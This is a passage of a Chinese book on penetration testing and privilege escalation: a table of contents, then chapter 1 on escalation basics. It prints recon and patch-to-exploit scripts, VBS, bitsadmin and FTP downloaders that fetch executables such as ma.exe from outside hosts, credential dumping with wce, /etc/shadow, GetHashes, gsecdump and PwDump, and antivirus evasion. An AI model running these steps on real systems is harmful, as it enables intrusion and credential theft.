5.8.5 总结与思考 ......................................... 305

数据库 ................................................. 335

5.9 phpMyAdmin 漏洞利用与安全防范 ...... 306

6.2.4 通过数据库配置文件获取

5.9.1 MySQL root 账号密码获取思路 ........ 306

Oracle 口令.......................................... 336

5.9.2 获取网站真实路径的思路.................. 307

6.3 通过注入存储过程提升数据库

5.9.3 MySQL root 账号 WebShell

用户权限 .................................................... 338

获取思路 ............................................. 308

6.3.1 原理介绍 ............................................. 338

5.9.4 无法通过 phpMyAdmin 直接

6.3.2 手工注入 SYS.DBMS_CDC_

获取 WebShell..................................... 310

SUBSCRIBE.ACTIVATE

5.9.5 phpMyAdmin 漏洞防范方法 ...............311

_SUBSCRIPTION 提升权限 .............. 338

5.10 巧用 Cain 破解 MySQL

6.3.3 利用 Metasploit 实施注入................... 341

数据库密码 ...............................................311

6.4 Web 下的 SQL 注入及提权 ..................... 342

5.10.1 MySQL 加密方式 ............................. 312

6.4.1 SQL 注入攻击基础知识 ..................... 342

5.10.2 MySQL 数据库文件结构.................. 313

6.4.2 利用超级 SQL 注入工具实施

5.10.3 获取 MySQL 数据库用户密码

SQL 注入 ............................................. 344

加密字符串 ....................................... 313

6.4.3 利用 sqlmap 实施 SQL 注入............... 345

5.10.4 将 MySQL 用户密码字符串

6.4.4 利用 utl_http.request 存储过程

加入 Cain 破解列表 .......................... 314

实施反弹注入攻击.............................. 346

5.10.5 使用字典进行破解............................ 315

6.4.5 利用 dbms_xmlquery.newcontext()

5.10.6 总结与思考 ....................................... 316

函数进行服务器提权.......................... 347

5.11 MySQL 数据库安全加固....................... 319

6.5 在 Oracle 上利用 Java 执行命令............. 349

5.11.1 补丁安装 ........................................... 319

6.5.1 原理介绍 ............................................. 349

5.11.2 账户密码设置.................................... 320

6.5.2 在 Oralce 11g 上利用 Java

5.11.3 匿名账户检查.................................... 320

执行命令 ............................................. 350

5.11.4 数据库授权........................................ 321

6.5.3 在 Oralce 10g 上利用 Java

5.11.5 网络连接设置.................................... 321

执行命令 ............................................. 351

5.11.6 文件安全设置.................................... 322

6.6 利用 SQL*Plus 获取 WebShell................ 353

第 6 章 Oracle 漏洞利用与提权 ................. 324

6.6.1 原理介绍 ............................................. 353

6.1 Oracle 提权基础........................................ 324

6.6.2 获取 WebShell ..................................... 353

6.1.1 Oracle 的安装...................................... 325

6.7 Oracle 数据库备份.................................... 355

6.1.2 Oracle 管理工具.................................. 327

6.7.1 利用 exp 备份数据库 .......................... 355

6.1.3 Oracle 权限介绍.................................. 329

6.7.2 利用 PL/SQL Developer 备份数据 ..... 356

6.1.4 PL/SQL 介绍 ....................................... 330

6.7.3 利用 JSP 脚本备份数据库.................. 356



XIII

网络攻防实战研究:漏洞利用与提权

6.8 Oracle 数据库攻击的防范方法............... 358

7.7.4 Metasploit 下假冒令牌提权实战........ 387

6.8.1 数据库安全纵深防御.......................... 359

7.8 错误的 Windows 系统配置漏洞

6.8.2 部署数据库防火墙 ............................. 360

提权实战 .................................................... 389

第 7 章 Metasploit 漏洞利用与提权 .......... 362

7.8.1 Trusted Service Paths 漏洞介绍 .......... 390

7.8.2 Trusted Service Paths 漏洞产生原因 .. 390

7.1 Metasploit 提权基础知识......................... 363

7.8.3 Metasploit 下 Trusted Service Paths

7.1.1 Metasploit 简介 ................................... 363

漏洞利用实战...................................... 390

7.1.2 Metasploit 基础 ................................... 364

7.8.4 系统服务错误权限配置漏洞简介 ...... 392

7.1.3 后渗透工具 Meterpreter...................... 364

7.8.5 PowerUp 对系统服务错误权限

7.2 PowerShell 渗透利用剖析 ....................... 365

配置漏洞的利用.................................. 393

7.2.1 PowerShell 的基本概念 ...................... 366

7.9 Windows 服务漏洞研究与利用 .............. 396

7.2.2 PowerShell 的基本设置和常用命令 .. 366

7.9.1 Windows 服务漏洞介绍...................... 396

7.2.3 PowerShell 下常用的攻击工具 .......... 368

7.9.2 Windows 服务漏洞利用实战.............. 396

7.3 getsystem 提权全解析 .............................. 372

7.10 AlwaysInstallElevated 提权

7.3.1 查询当前权限 ..................................... 372

实战演练 .................................................. 399

7.3.2 使用 getsystem 命令提权.................... 373

7.10.1 Windows Installer 相关知识介绍...... 399

7.4 MS16-016 本地溢出漏洞利用实战 ........ 374

7.10.2 AlwaysInstallElevated 简介............... 399

7.4.1 MS16-016 漏洞提权简介.................... 374

7.10.3 Metasploit 下 AlwaysInstallElevated

7.4.2 Metasploit 下 MS16-016 漏洞

提权实战演练.................................... 399

提权实战 ............................................. 374

7.10.4 PowerShell 下 AlwaysInstall

7.4.3 修复方式 ............................................. 377

Elevated 提权实战演练..................... 402

7.5 通过 WMIC 实战 MS16-032

7.10.5 AlwaysInstallElevated 漏洞

溢出漏洞.................................................... 377

产生原因............................................ 403

7.5.1 WMIC 简介 ......................................... 377

7.11 Metasploit 下 Mimikatz 的使用 ............. 404

7.5.2 MS16-032 漏洞简介 ........................... 378

7.11.1 Mimikatz 简介 ................................... 404

7.5.3 Metasploit 下 MS16-032 漏洞

7.11.2 Mimikatz 的使用 ............................... 404

提权实战 ............................................. 378

7.12 通过 Metasploit 渗透手机...................... 407

7.5.4 PowerShell 下 Invoke-MS16-032

7.12.1 生成反弹木马.................................... 408

脚本提权实战 ..................................... 381

7.12.2 监控手机实测.................................... 409

7.6 绕过用户控制实战 ................................... 383

7.13 移植 s2-045 漏洞利用代码模块实战 ... 411

7.6.1 UAC 简介............................................ 383

7.13.1 s2-045 漏洞简介................................ 411

7.6.2 利用 bypassuac 绕过 UAC

7.13.2 s2-045 漏洞的原理............................ 411

实战演练 ............................................. 383

7.13.3 s2-045 漏洞的危害及修复措施 ........ 412

7.6.3 利用 RunAs 绕过 UAC 实战演练 ...... 385

7.13.4 移植 s2-045 漏洞利用代码模块 ....... 412

7.7 通过假冒令牌获取 Windows Server

7.13.5 Metasploit 下 s2-045 漏洞

2008 R2 域管权限..................................... 386

提权实战............................................ 413

7.7.1 令牌简介 ............................................. 386

第 8 章 其他应用程序漏洞利用与提权....... 415

7.7.2 关于令牌的一些问题.......................... 386

7.7.3 令牌的工作机制 ................................. 387

8.1 通过 Serv-U 提权 ASP.NET 服务器 ....... 415

XIV

目 录

8.1.1 利用 WebShell 查看系统管理员

8.6.3 通过 JBoss 信息泄露获取

用户组 ................................................. 416

WebShell .............................................. 457

8.1.2 执行 SU Exp........................................ 416

8.7 Struts s2-016 和 s2-017 漏洞

8.1.3 检查 Serv-U 提权情况 ........................ 417

利用实例 .................................................... 461

8.1.4 远程终端登录测试 ............................. 418

8.7.1 搜寻目标站点...................................... 461

8.1.5 总结与思考 ......................................... 419

8.7.2 测试网站能否正常访问...................... 462

8.2 扫描 FTP 口令并利用 Serv-U 提权

8.7.3 测试 Struts2 s2-016 漏洞..................... 462

某服务器.................................................... 419

8.7.4 获取 WebShell 权限 ............................ 463

8.2.1 信息收集 ............................................. 420

8.7.5 总结与思考.......................................... 463

8.2.2 口令检测 ............................................. 420

8.8 从 JspRun 后台获取 WebShell ................ 465

8.2.3 实施控制和渗透 ................................. 422

8.8.1 进入系统后台...................................... 465

8.2.4 内网渗透和查看 ................................. 424

8.8.2 新增模板 ............................................. 466

8.2.5 简单的安全加固 ................................. 427

8.8.3 在模板中创建文件.............................. 467

8.2.6 总结与思考 ......................................... 428

8.8.4 测试并访问 Shell ................................ 467

8.3 Windows Server 2008 中的 Magic

8.8.5 JspRun 论坛的其他相关漏洞 ............. 468

Winmail Server 提权................................. 429

8.8.6 总结与思考.......................................... 469

8.3.1 获取 Winmail 目录地址...................... 429

8.9 Gene6 FTP Server 本地提权 .................... 469

8.3.2 执行 whoami 命令............................... 429

8.9.1 通过互联网获取漏洞的利用信息 ...... 469

8.3.3 添加用户到管理员组.......................... 430

8.9.2 修改 user 配置参数获取本地

8.3.4 设置并登录远程终端服务器.............. 430

服务器权限.......................................... 470

8.3.5 Winmail 邮箱用户与口令................... 431

8.9.3 漏洞修复和加固方法.......................... 472

8.3.6 进入邮箱 ............................................. 431

8.10 通过 Tomcat 弱口令提取某 Linux

8.3.7 Winmail 服务器安全防范................... 432

服务器权限 .............................................. 472

8.4 Radmin 网络渗透提权研究..................... 432

8.10.1 使用 Apache Tomcat Crack

8.4.1 Radmin 简介........................................ 432

暴力破解 Tomcat 口令...................... 472

8.4.2 Radmin 口令暴力攻击........................ 433

8.10.2 部署 WAR 格式的 WebShell............. 473

8.4.3 Radmin 在渗透中的妙用 .................... 435

8.10.3 获取系统加密的用户密码................ 475

8.4.4 利用 Radmin 口令进行内网

8.10.4 总结与思考........................................ 477

渗透控制 ............................................. 439

8.11 Citrix 密码绕过漏洞引发的渗透 .......... 478

8.4.5 利用 Radmin 口令进行外网

8.11.1 Citrix 简介 ......................................... 478

渗透控制 ............................................. 441

8.11.2 Citrix 的工作方式.............................. 478

8.4.6 远程控制软件 Radmin 提权研究 ....... 442

8.11.3 Citrix 渗透实例 ................................. 478

8.5 pcAnywhere 账号和口令的破解

8.11.4 总结与思考........................................ 482

与提权 ........................................................ 445

8.12 从 CuteEditor 漏洞利用到全面

8.5.1 pcAnywhere 账号和口令破解 ............ 446

控制服务器 .............................................. 482

8.5.2 一个渗透实例 ..................................... 447

8.12.1 初步的安全渗透测试........................ 482

8.6 JBoss 远程代码执行漏洞提权 ................ 454

8.12.2 旁注渗透测试.................................... 485

8.6.1 JBoss 远程代码执行漏洞利用 ........... 454

8.12.3 通过 CuteEditor 上传获得突破 ........ 488

8.6.2 JBoss 远程代码执行漏洞防范方法 ... 457

8.12.4 提升权限............................................ 491



XV

网络攻防实战研究:漏洞利用与提权

8.12.5 安全建议和总结 ............................... 494

8.17.5 Zabbix 服务器的安全检查................ 528

8.13 利用 VNC 认证口令绕过漏洞

8.17.6 漏洞修复方案.................................... 529

进行渗透 .................................................. 494

8.18 OpenSSL“心脏出血”漏洞分析

8.13.1 扫描开放 5900 端口的计算机.......... 495

及利用....................................................... 529

8.13.2 整理开放 5900 端口的 IP 地址 ........ 496

8.18.1 漏洞分析............................................ 530

8.13.3 整理扫描批处理命令........................ 497

8.18.2 可利用 POC 及其测试 ...................... 531

8.13.4 使用 VNC 连接器 Link

8.18.3 OpenSSL 检测技术 ........................... 534

进行连接 ........................................... 497

8.18.4 漏洞修复建议.................................... 536

8.13.5 处理连接结果 ................................... 498

8.19 ImageMagick 远程执行漏洞

8.13.6 实施控制 ........................................... 498

分析及利用 .............................................. 537

8.13.7 总结与思考 ....................................... 499

8.19.1 ImageMagick 远程执行漏洞分析..... 537

8.14 0day 分析之 ColdFusion 本地

8.19.2 可利用 POC 测试 .............................. 537

包含漏洞的利用方法 ............................. 499

8.19.3 总结与思考........................................ 539

8.14.1 搭建 Goldfusion 测试平台................ 499

8.19.4 防范方法............................................ 540

8.14.2 0day 使用方法测试........................... 500

8.20 Linux glibc 幽灵漏洞的测试

8.14.3 LFI to Shell in ColdFusion 6-10

与修复....................................................... 540

利用方法分析 ................................... 502

8.20.1 Linux glibc 幽灵漏洞测试方法 ........ 541

8.14.4 其他可供利用 0day 的分析.............. 502

8.20.2 POC 验证测试................................... 542

8.15 ElasticSearch 命令执行漏洞利用

8.20.3 修复方法............................................ 544

及渗透提权 .............................................. 504

第 9 章 Windows 及 Linux 安全防范........ 545

8.15.1 CVE-2015-1427 Groovy 命令

执行漏洞 ........................................... 504

9.1 网站挂马的检测与清除 ........................... 546

8.15.2 CVE-2014-3120 MVEL 命令

9.1.1 检测网页木马程序.............................. 546

执行漏洞 ........................................... 505

9.1.2 清除网站中的恶意代码

8.15.3 获取 Windows Server 2012 权限 ...... 505

(挂马代码)........................................ 550

8.15.4 通过 perl 反弹 Shell .......................... 507

9.2 巧用 MBSA 检查和加固个人计算机..... 551

8.15.5 通过 ElasticSearch Groovy 可

9.2.1 实验准备和环境.................................. 552

执行命令漏洞获取某网站

9.2.2 使用 MBSA 检测和加固系统............. 552

WebShell 权限 ................................... 510

9.2.3 总结与思考.......................................... 557

8.16 通过 JBoss Application Server

9.3 使用冰刀、Antorun、CurrPorts 等

获取 WebShell ......................................... 513

工具进行安全检查 ................................... 557

8.16.1 扫描 JBoss Application Server

9.3.1 使用冰刀进行安全检查...................... 557

端口 ................................................... 514

9.3.2 使用 autoruns 进行安全检查 .............. 560

8.16.2 通过 JBoss AS 部署 WebShell .......... 516

9.3.3 使用 CurrPorts 进行端口安全检查 .... 563

8.16.3 获取 JSP 的 WebShell ....................... 519

9.3.4 使用 FPort 与 MPort 进行端口

8.17 Zabbix SQL 注入漏洞及利用探讨 ....... 520

安全检查 ............................................. 564

8.17.1 Zabbix SQL 注入漏洞简介............... 520

9.3.5 使用 Process Explorer 进行

8.17.2 漏洞原理分析 ................................... 520

安全清理 ............................................. 566

8.17.3 漏洞实际利用方法探讨.................... 526

9.4 巧用事件查看器维护服务器安全 .......... 568

XVI

目 录

9.4.1 相关知识 ............................................. 568

9.11.1 SQL 注入技术的定义 ....................... 599

9.4.2 服务器安全维护实例.......................... 569

9.11.2 SQL 注入攻击的特点 ....................... 599

9.5 使用防火墙和杀毒软件进行

9.11.3 SQL 注入攻击的实现原理和过程.... 600

安全检查.................................................... 571

9.11.4 SQL 注入攻击的检测与防范方法.... 601

9.5.1 使用系统自带的防火墙进行

9.11.5 SQL 注入攻击的防范模型 ............... 602

安全防护 ............................................. 572

9.12 Windows 系统克隆用户攻击与防范 .... 604

9.5.2 利用 NOD32 进行系统安全检查 ....... 574

9.12.1 克隆账号的原理与危害.................... 604

9.6 手工清除病毒............................................ 575

9.12.2 克隆用户的常用方法........................ 605

9.6.1 故障现象 ............................................. 576

9.12.3 克隆用户的安全检查与防范............ 610

9.6.2 清除部分病毒 ..................................... 576

9.12.4 总结与思考........................................ 614

9.6.3 继续修复系统 ..................................... 582

9.13 操作系统密码安全设置 ......................... 614

9.6.4 总结与思考 ......................................... 585

9.13.1 系统密码安全隐患与现状................ 614

9.7 计算机网络入侵安全检查研究 .............. 585

9.13.2 系统密码安全设置策略.................... 615

9.7.1 网络入侵的途径 ................................. 585

9.13.3 密码设置技巧.................................... 617

9.7.2 被入侵后的保护措施.......................... 586

9.13.4 系统密码安全检查与防护................ 617

9.7.3 安全检查方法 ..................................... 586

9.13.5 系统用户登录日志检测.................... 617

9.8 实战个人计算机网络安全检查 .............. 590

9.14 使用 chkrootkit 和 rkhunter

9.8.1 补丁检查 ............................................. 590

检查 Linux 后门 ...................................... 618

9.8.2 端口检查 ............................................. 590

9.14.1 使用 chkrootkit 检查 Linux 后门 ...... 619

9.8.3 Rootkit 木马检查 ................................ 591

9.14.2 使用 rkhunter 检查 Linux 后门......... 620

9.8.4 一些安全建议 ..................................... 592

9.15 Windows 下 PHP+MySQL+IIS

9.9 移动存储设备安全隐患及其

安全配置 .................................................. 622

防范对策.................................................... 593

9.15.1 NTFS 权限的简单介绍 ..................... 622

9.9.1 移动存储设备安全隐患分析.............. 593

9.15.2 NTFS 详解之磁盘配额 ..................... 623

9.9.2 移动存储设备安全防范对策.............. 594

9.15.3 NTFS 详解之 Windows 权限 ............ 626

9.15.4 变态 Windows 权限配置................... 627

9.10 电子邮件社会工程学攻击

防范研究 .................................................. 595

9.16 Windows 下 PHP+MySQL+IIS

9.10.1 社会工程学 ....................................... 596

高级安全配置 .......................................... 629

9.10.2 常见的电子邮件社会工程学

9.16.1 php.ini 文件 ....................................... 630

攻击方法 ........................................... 596

9.16.2 php.ini 参数的安全设置.................... 630

9.10.3 电子邮件社会工程学的攻击步骤.... 597

9.16.3 IIS 指定目录运行或者不

9.10.4 电子邮件社会工程学攻击的

运行 PHP ........................................... 632

防范方法 ........................................... 598

9.16.4 身份验证高级配置............................ 634

9.10.5 总结与思考 ....................................... 599

9.16.5 设置服务器只支持 PHP 脚本........... 635

9.11

9.16.6

SQL 注入攻击技术及其防范研究........

Web 目录的变态权限配置................ 636

599





XVII





第 1 章 提权基础

提权是整个黑客攻防过程中最难的一个环节。对渗透来说,获取的权限越高,控制的服务器权

限越多,也就越有成就感。在整个渗透流程中,提权过程汇聚了思路、技巧、工具和技术。高楼大

厦总是需要坚实的地基,在渗透过程中,基础越扎实,就越容易取得最终的胜利。

本章着重介绍各种提权的基础知识,主要包括如何进行提权,如何破解 Windows 及 Linux 的密

码,一些后门工具的使用,对提权工具的免杀处理,以及端口转发和代理工具的使用。

本章主要内容

Ê 提权概述

Ê Windows 账号和密码的获取与破解

Ê 使用 John the Ripper 破解 Linux 密码

Ê Linux 提权辅助工具 Linux Exploit Suggester

Ê PHP WeBaCoo 后门

Ê 对提权工具 PR 的免杀

Ê 通过 LCX 端口转发实现内网突破

Ê 使用 SocksCap 进行内网突破

Ê Windows 系统提权基础命令

1.1 提权概述

在渗透测试过程中以获取系统最高权限为目标,首先通过寻找漏洞,获取 WebShell 权限,然后

进行提权。提权是一个非常重要的过程,提权成功就意味着可以进行进一步的渗透测试。

1.1.1 提权简介

提权是随着互联网出现的一个概念,顾名思义,就是提升自己在服务器中的权限。提权的目的

是获取系统的最高管理权限。例如,在 Windows 中是普通用户,通过提权获取了和 Administrator 一

样的权限;在 Linux 中通过执行编译后的程序,从普通用户权限提升到 root 账号权限。

提权是黑客的专业名词,一般用在网站入侵和系统入侵中。提权主要出现 Linux、Windows、

Android 和 macOS 操作系统下,最常见的是 Linux 和 Windows 下的提权。本书主要针对 Windows 和

Linux 操作系统下的提权进行讲解。提权可以分为直接提权和间接提权,也可以分为本地提权和远程





网络攻防实战研究:漏洞利用与提权

提权。

本地提权漏洞是指一个本来权限非常低、操作受限制的用户,通过某种条件(例如,通过应用

程序漏洞或者系统漏洞)直接提升到系统最高权限。远程提权是指黑客或者攻击者通过漏洞利用程

序,直接获取远程服务器的权限(在远程服务器上必须存在漏洞且未修补或者修补未成功)。

提权又分为操作系统提权和应用程序提权。例如,Windows 下的提权漏洞 MS08-067、MS10-084、

MS11-014、MS11-056、MS11-062、MS12-020、MS16-032 等,

“MS08”是指 2008 年发现的漏洞,

“MS10”

是指 2010 年发现的漏洞。应用程序提权涉及 Seru-u、Radmin、pcAnywhere、SQL Server 2000/2005、

MySQL、Oracle、Java、IE 等。

1.1.2 提权条件

提权不是在任何情况下都可以进行的,它有一定的前置条件,例如拥有内网普通用户权限、拥

有 WebShell、拥有 FTP 权限、拥有某些远程管理软件的账号和密码等,同时在本地或者远程服务器

上存在相应的漏洞。当然,最重要的条件是拥有利用该漏洞的工具、代码或者程序。

1.1.3 提权准备工作

(1)目标服务器信息的收集

利用已有权限或者条件,对需要提权的目标服务器进行信息收集,例如在有 WebShell 等的情况

下执行命令获取 Windows 操作系统的信息。

① systeminfo:获取操作系统类型、版本、位数等信息。

② ipconfig /all:获取是否为独立 IP 地址、DNS、计算机名称等信息。

③ net user:当前用户信息。

④ whoami:当前用户权限。

⑤ netstat-an:当前端口开放情况。

收集系统信息的一个脚本程序如下。

@echo off

echo #########system info collection

systeminfo

ver

hostname

net user

net localgroup

net localgroup administrators

net user guest

net user administrator

echo #######at- with atq#####

echo schtask /query

echo

echo ####task-list#############

tasklist /svc

echo

echo ####net-work infomation

ipconfig/all

route print

2

第 1 章 提权基础

arp -a

netstat -anipconfig /displaydns

echo

echo #######service############

sc query type= service state= all

echo #######file-##############

cd \

tree –F

(2)准备提权服务器的漏洞补丁情况收集

执行如下脚本,获取可利用的漏洞补丁情况。

systeminfo>C:\Windows\Temp\temp.txt&(for %i in (KB977165 KB970483 KB3057191

KB3079904 KB3077657 KB3045171 KB2840221 KB3000061 KB2850851 KB2707511 KB2711167

KB2124261 KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653

KB944653 KB952004 KB971657 KB2620712 KB2393802 KB942831 KB2503665 KB2592799 KB956572

KB977165 KB2621440 KB3124280 KB3143141 KB3134228) do @type C:\Windows\Temp\ temp.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\ temp.txt

补丁号对应的可供利用的程序名称列举如下。

KB2360937:MS10-084。

KB2478960:MS11-014。

KB2507938:MS11-056。

KB2566454:MS11-062。

KB2646524:MS12-003。

KB2645640:MS12-009。

KB2641653:MS12-018。

KB944653:MS07-067。

KB952004:MS09-012 PR。

KB971657:MS09-041。

KB2620712:MS11-097。

KB2393802:MS11-011。

KB942831:MS08-005。

KB2503665:MS11-046。

KB2592799:MS11-080。

KB956572:MS09-012 烤肉。

KB2621440:MS12-020。

KB977165:MS10-015 Ms Viru。

KB3124280:MS16-032。

KB3143141:MS16-016。

KB3134228:MS16-014。

KB3079904:MS15-097。

KB3077657:MS15-077。

KB3045171:MS15-051。



3





网络攻防实战研究:漏洞利用与提权

KB3000061:MS14-058。

KB2829361:MS13-046。

KB2850851:MS13-053 EPATHOBJ 0day(限 32 位)。

KB2707511:MS12-042 sysret –pid。

KB2124261 和 KB2271195:MS10-065 IIS7。

KB970483:MS09-020 IIS6。

(3)准备提权 0day 及其他相关工具

针对当前操作系统准备 32 位或 64 位提权 0day。针对当前操作系统应用程序准备提权 0day。准

备获取密码的 Hash 工具,并对 0day 及其相关工具进行免杀处理和测试。

(4)寻找服务器可写目录

在目标服务器中找到一个可写目录。

1.1.4 实施提权

(1)上传或者下载提权 0day 和相关工具

将文件上传到服务器有多种方式,例如通过 WebShell、FTP、下载命令等将工具上传到系统的

可写目录下。一些可供参考的下载方法如下。

在 Linux 下,通过“wget http://www.antian365.com/shell.txt”命令下载 shell.txt 文件到本地服

务器。

使用 vbs 下载,代码如下。

iLocal = LCase(WScript.Arguments(1))

iRemote = LCase(WScript.Arguments(0))

Set xPost = CreateObject("Microsoft.XMLHTTP") xPost.Open "GET",iRemote,0

xPost.Send()

Set sGet = CreateObject("ADODB.Stream")

sGet.Mode = 3

sGet.Type = 1

sGet.Open()

sGet.Write(xPost.responseBody)

sGet.SaveToFile iLocal,2

使用命令“cscript down.vbs http://www.antian365.com/ma.exe c:/ma.exe”,将 ma.exe 保存到 C 盘

根目录下,不写路径则会显示程序执行出错。

固定下载程序位置和名称并下载,代码如下。

url = "http:// www.antian365.com /ma.exe"





'网络上的文件地址

saveas = "c:\ma.exe"





'保存的本地文件

Set xmlhttp = CreateObject("Microsoft.XMLHTTP")

'创建 HTTP 请求对象

Set stream = CreateObject("ADODB.Stream")





'创建 ADO 数据流对象

Call

xmlhttp.open("GET",url,False)

'打开连接

Call

xmlhttp.send()

'发送请求

stream.mode

=

3



'设置数据流为读写模式

stream.type

=

1



'设置数据流为二进制模式

Call

stream.open()

'打开数据流

4

第 1 章 提权基础

Call stream.write(xmlhttp.responsebody)

'将服务器的返回报文主体内容写入数据流

Call

stream.savetofile(saveas,2)

'将数据流保存为文件

Set xmlhttp = Nothing

Set stream = Nothing

将以上代码保存为 down.vbs 文件,执行“cscript down.vbs”命令即可下载程序 ma.exe 到 C 盘中。

另外一种下载文件的方法,代码如下。

Set xPost = createObject("Microsoft.XMLHTTP") xPost.Open "GET"," http:// www.antian365.com /ma.exe ",0

'下载文件的地址

xPost.Send()

Set sGet = createObject("ADODB.Stream")

sGet.Mode = 3

sGet.Type = 1

sGet.Open()

sGet.Write(xPost.responseBody)

sGet.SaveToFile "c:\2.exe",2



'保存文件的路径和文件名

使用 bitsadmin 命令下载文件。

第一种方式,代码如下。

bitsadmin /transfer myjob1 /download /priority normal http:// antian365.com/

psexec.exe c:\psexec.exe

第二种方式,代码如下。

bitsadmin /rawreturn /transfer getfile http://sysinternals.com/files/

PSTools.zip c:\p.zip

第三种方式,代码如下。

bitsadmin /rawreturn /transfer getpayload http:// sysinternals.com/

files/PSTools.zip c:\p.zip

第四种方式,代码如下。

bitsadmin /transfer myDownLoadJob /download /priority normal "http://download.

sysinternals.com/files/PSTools.zip" "c:\p.zip"

在 bat 模式下执行 vbs 下载,代码如下。

echo Set xPost = CreateObject("Microsoft.XMLHTTP") >1.vbs echo xPost.Open "GET","http://58.54.99.22:8080/help.exe",0 >>1.vbs echo xPost.Send() >>1.vbs

echo Set sGet = CreateObject("ADODB.Stream") >>1.vbs echo sGet.Mode = 3 >>1.vbs

echo sGet.Type = 1 >>1.vbs

echo sGet.Open() >>1.vbs

echo sGet.Write(xPost.responseBody) >>1.vbs

echo sGet.SaveToFile "help.exe",2 >>1.vbs 在 FTP 命令模式下下载。down.bat 内容如下。

@echo off

@set temp=C:\script.txt



5





网络攻防实战研究:漏洞利用与提权

echo open 10.229.23.77>>%temp%

echo ftpuser>>%temp%

echo ftpuser>>%temp%

echo cd General>>%temp%

echo lcd %2>>%temp%

echo get %1>>%temp%

echo quit>>%temp%

@ftp -s:%temp%

del %temp%

执行命令“down.bat filename C:\”,参数 1 是要下载的文件名,参数 2 是下载的目标路径。使用

同样的方法也可以实现文件上传。

(2)执行 0day 进行提权尝试

在 WebShell 状态下执行提权 0day。通常通过 0day 添加普通用户为管理员,或者通过 0day 执行

其他可执行程序(例如木马、系统密码获取工具等)。

(3)获取系统权限及操作系统的密码

使用密码获取软件获取操作系统的密码。例如,“使用 wce –w”命令获取 Windows 系统当前登

录的明文密码,使用“cat /etc/shadow”命令获取 Linux 操作系统 Shadow 文件的内容。

1.2 Windows 账号和密码的获取与破解

Windows 账号和密码的获取主要针对获取了系统权限的情况,尤其是 3389 登录的情况。还有一

种情况,就是通过提权 0day 执行其他可执行程序,例如通过执行“wce -w”命令直接获取系统登录

过的账号明文。在大多数情况下,都需要对系统账号和密码 Hash 值进行获取。常见的密码获取软件

有 GetHashes、gsecdump、PwDump、SAMInside 等,常用的密码破解软件有 LC5/LC6、SAMInside、

Ophcrack、Hashcates 等。

1.2.1 使用 GetHashes 获取 Windows 系统密码 Hash 值

目前 GetHashes 的最高版本是 1.6,它是 InsidePro 公司早期的一款 Hash 密码获取软件,该公司

网址为 http://www.InsidePro.com。该公司还有 SAMInside、PasswordsPro 及 Extreme GPU Bruteforcer 三款密码破解软件。目前,该网站的新版本 SAMInside 已经将 GetHashes 等软件整合在一起了。

1.GetHashes 命令格式

GetHashes 命令的格式如下。

GetHashes <SAM registry file> [System key file] Or GetHashes $Local

一般使用“GetHashes $Local”来获取系统的密码 Hash 值,该命令仅在 system 权限下才能成功

执行。一般根据个人爱好,可以将 GetHashes 工具软件改为其他名称,例如在后面的案例中就将其

命名为“getpw”。

2.使用 GetHashes 获取系统 Hash 值实例

将 GetHashes 重命名为“getpw”,将其复制到欲获取密码 Hash 值的系统盘中,然后执行“getpw $local”命令,如图 1-1 所示,顺利获取其密码 Hash 值。在本案例中使用的是 Radmin 的 Telnet。单

6





第 1 章 提权基础

击“文本”→“保存为”选项将结果保存为一个新文件,然后使用 UltraEdit 编辑器对其进行编辑,

仅保存密码 Hash 值部分,在后面使用 LC5 导入密码 Hash 值,即可破解系统的密码。



图 1-1 获取系统 Hash 值

注意

在使用 GetHashes 获取系统的密码 Hash 值时,必须拥有 System 权限,也就是说,要在反弹

Shell 或者 Telnet 下获取。

如果系统中安装了杀毒软件或者防火墙,可能由于杀毒软件和防火墙的保护而导致密码获取

失败。通过研究发现,由于 Gethashes 的威力巨大,主要用于在入侵过程中获取系统的密码



Hash 值,因此绝大多数杀毒软件已经将 GetHashes 加入病毒库了。



1.2.2 使用 gsecdump 获取 Windows 系统密码

gsecdump 是在 Windows 环境下获取密码的主要工具之一,其功能强于 GetHashes,目前已经被

定义为病毒,例如 HackTool.FFC(AVG)、HackTool.Win32.Agent.ym(Kaspersky)、 HTool-GSECDump

(McAfee)、W32/Hacktool.AY(Norman)、Trojan.Moo(Symantec)、HKTL_AGENT(Trend Micro),

其主要特点是在某些情况下能够获取域控密码,是不可多得的密码获取工具软件。

1.下载和使用 gsecdump

gsecdump 目前的最新版本为 2.0b5,由于其使用的广泛性,因此被 Google 浏览器及多款杀毒软

件定义为病毒,其官方网站已经不再提供下载地址。如果要使用 gescdump,可以给 info@truesec.co 发邮件索取下载地址。

2.gsecdump 参数

直接运行 gsecdump,如图 1-2 所示,默认显示帮助信息。也可以使用“gsecdump -h”命令获取

帮助信息。其参数如下。

-h /:显示帮助信息。

-a /:获取所有密码信息。

-s /:从 SAM 和域控中获取 Hash 值。



7





网络攻防实战研究:漏洞利用与提权

-l /:获取 LSA 信息,基本没用。

-u /:获取活动的登录 Hash 值,即当前登录用户的 Hash 值。

-w /:获取无线密码。

-S /:强制评估版本为系统版本。



图 1-2 gecdump 运行参数

3.使用 gsecdump 获取系统密码

在通常情况下,使用“gsecdump -a”命令获取所有用户的密码 Hash 值,如图 1-3 所示。也可以

使用“gsecdump -u”命令获取当前登录用户的密码 Hash 值。



图 1-3 获取系统中所有用户的 Hash 值

8





第 1 章 提权基础

1.2.3 使用 PwDump 获取域控密码

PwDump 是 Quarkslab 出品的一款用户密码提取开源工具,其完整源代码可以从 https://github.

com/quarkslab/quarkspwdump 获取。目前,PwDump 支持 Windows XP/Server 2003/Vista/7/Server 2008

版本,且相当稳定,可以抓取 Windows 平台上多种类型的用户凭据,包括本地账户、域账户、缓存

的域账户和 Bitlocker,具体信息如下。

Local accounts NT/LM hashes + history:本机 NT/LM Hash 和历史登录记录。

Domain accounts NT/LM hashes + history:域中的 NT/LM Hash 和历史登录记录。

Cached domain password:缓存中的域管理密码。

Bitlocker recovery information (recovery passwords & key packages):使用 Bitlocker 恢复后遗

留的信息。

1.使用 PwDump 获取本地账号的 Hash 值

PwDump 必须在 DOS 命令提示符下运行。直接运行 QuarksPwDumpv0.2b.exe,如图 1-4 所示,

默认显示帮助信息,其参数含义如下。

-dhl:导出本地 Hash 值。

-dhdc:导出内存中的域控 Hash 值。

-dhd:导出域控 Hash 值,必须指定 NTDS 文件。

-db:导出 Bitlocker 信息,必须指定 NTDS 文件。

-nt:导出 ntds 文件。

-hist:导出历史信息,可选项。

-t:导出类型。可选项,默认导出 John 类型。

-o:导出文件到本地。



